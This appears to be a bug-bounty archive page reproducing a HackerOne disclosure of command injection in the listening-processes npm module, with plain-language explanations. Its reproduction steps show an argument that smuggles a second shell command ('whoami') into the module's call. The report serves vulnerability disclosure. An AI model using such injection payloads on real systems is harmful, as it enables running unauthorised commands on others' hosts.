Skip to content
RCE Disclosed report Beginner

[listening-processes] Command Injection

The listening-processes npm module passed user-supplied input into shell commands without sanitising it, so a crafted value could break out of the intended command. An attacker able to control that input could run arbitrary commands on the host.

notpwnguy Follow

Originally disclosed on HackerOne

Critical View original
  • Triaged in 13 days
  • Fixed in 10 months
  • Disclosed after 11 months

I would like to report Command Injection in listening-processes It allows an attacker to execute arbitrary commands.

Module

module name: listening-processes version: 1.2.0 npm page: https://www.npmjs.com/package/listening-processes

Module Description

A simple NPM module for retrieving pertinent info on processes which are listening on local ports, and for killing those processes using shell commands lsof, ps, and kill in the background.

Module Stats

6 downloads in the last day 12 downloads in the last week 28 downloads in the last month

Vulnerability

Vulnerability Description

An attacker can execute arbitrary commands by escaping the binaries used by the module since it uses bash commands.

Steps To Reproduce:

$ node
> const processes = require('listening-processes')
> processes(`'Python && whoami >> hh;'`)
/bin/sh: \s.*:[0-9]* (LISTEN): command not found
{ Python:
   [ { command: 'Python',
       pid: '14720',
       port: '8000',
       invokingCommand:
        '/usr/local/Cellar/python/3.7.0/Frameworks/Python.framework/Versions/3.7/Resources/Python.app/Contents/MacOS/Python -m http.server' } ] }
$ cat hh
notpwnguy

Patch

If you're able to provide a patch with the fix please post it in this section

Supporting Material/References:

State all technical information about the stack where the vulnerability was found

  • OPERATING SYSTEM VERSION : Mac Os
  • NODEJS VERSION : v10.5.0
  • NPM VERSION : 6.2.0

Wrap up

  • I contacted the maintainer to let them know: N
  • I opened an issue in the related repository: N

Impact

Arbitrary Commands can be executed!

The original report as published on HackerOne, by notpwnguy. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

Arbitrary commands could be executed on the host.

What the attacker needed

Attacker controls input passed to the module

How it was found

  1. Load the module in a Node.js session.
  2. Call the module's function with a crafted string containing shell metacharacters.
  3. Observe that the injected command runs and its output is written to a file.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This small Node.js library looks up which programs are listening on local network ports by running shell commands. It puts whatever text you give it straight into those commands, so special characters like quotes and ampersands can end the intended command and start a new one. That lets someone run their own commands on the machine.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More from Node.js third-party modules

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.